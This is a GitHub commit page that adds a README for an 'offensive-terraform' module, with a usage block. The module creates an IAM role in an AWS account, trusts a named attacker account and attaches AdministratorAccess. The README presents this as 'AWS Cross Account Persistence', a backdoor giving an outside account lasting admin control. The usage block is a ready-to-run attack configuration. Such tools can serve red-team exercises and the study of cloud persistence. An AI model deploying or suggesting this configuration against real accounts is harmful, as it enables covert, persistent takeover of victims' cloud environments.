Skip to content

Commit e96daad

Browse files
committed
Add module usage
1 parent 4e07d8a commit e96daad

File tree

1 file changed

+26
-1
lines changed

1 file changed

+26
-1
lines changed

README.md

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,26 @@
1-
# terraform-aws-cross-account-persistence
1+
# AWS Cross Account Persistence
2+
3+
![OffensiveTerraform](https://img.shields.io/badge/hack-success)
4+
![OffensiveTerraform](https://img.shields.io/badge/offensive-terraform-blueviolet)
5+
![OffensiveTerraform](https://img.shields.io/badge/aws-important)
6+
7+
Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.
8+
9+
![Attack Diagram](https://raw.githubusercontent.com/offensive-terraform/terraform-aws-cross-account-persistence/master/diagram.jpg)
10+
11+
## Usage
12+
```
13+
module "cross-account-persistence" {
14+
source = "offensive-terraform/cross-account-persistence/aws"
15+
16+
role_name = "hack-the-planet"
17+
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
18+
attacker_account_id = "000000000000"
19+
}
20+
21+
output "role_arn" {
22+
value = module.cross-account-persistence.role_arn
23+
}
24+
```
25+
## Author
26+
Module managed by https://github.com/iganbold

0 commit comments

Comments
 (0)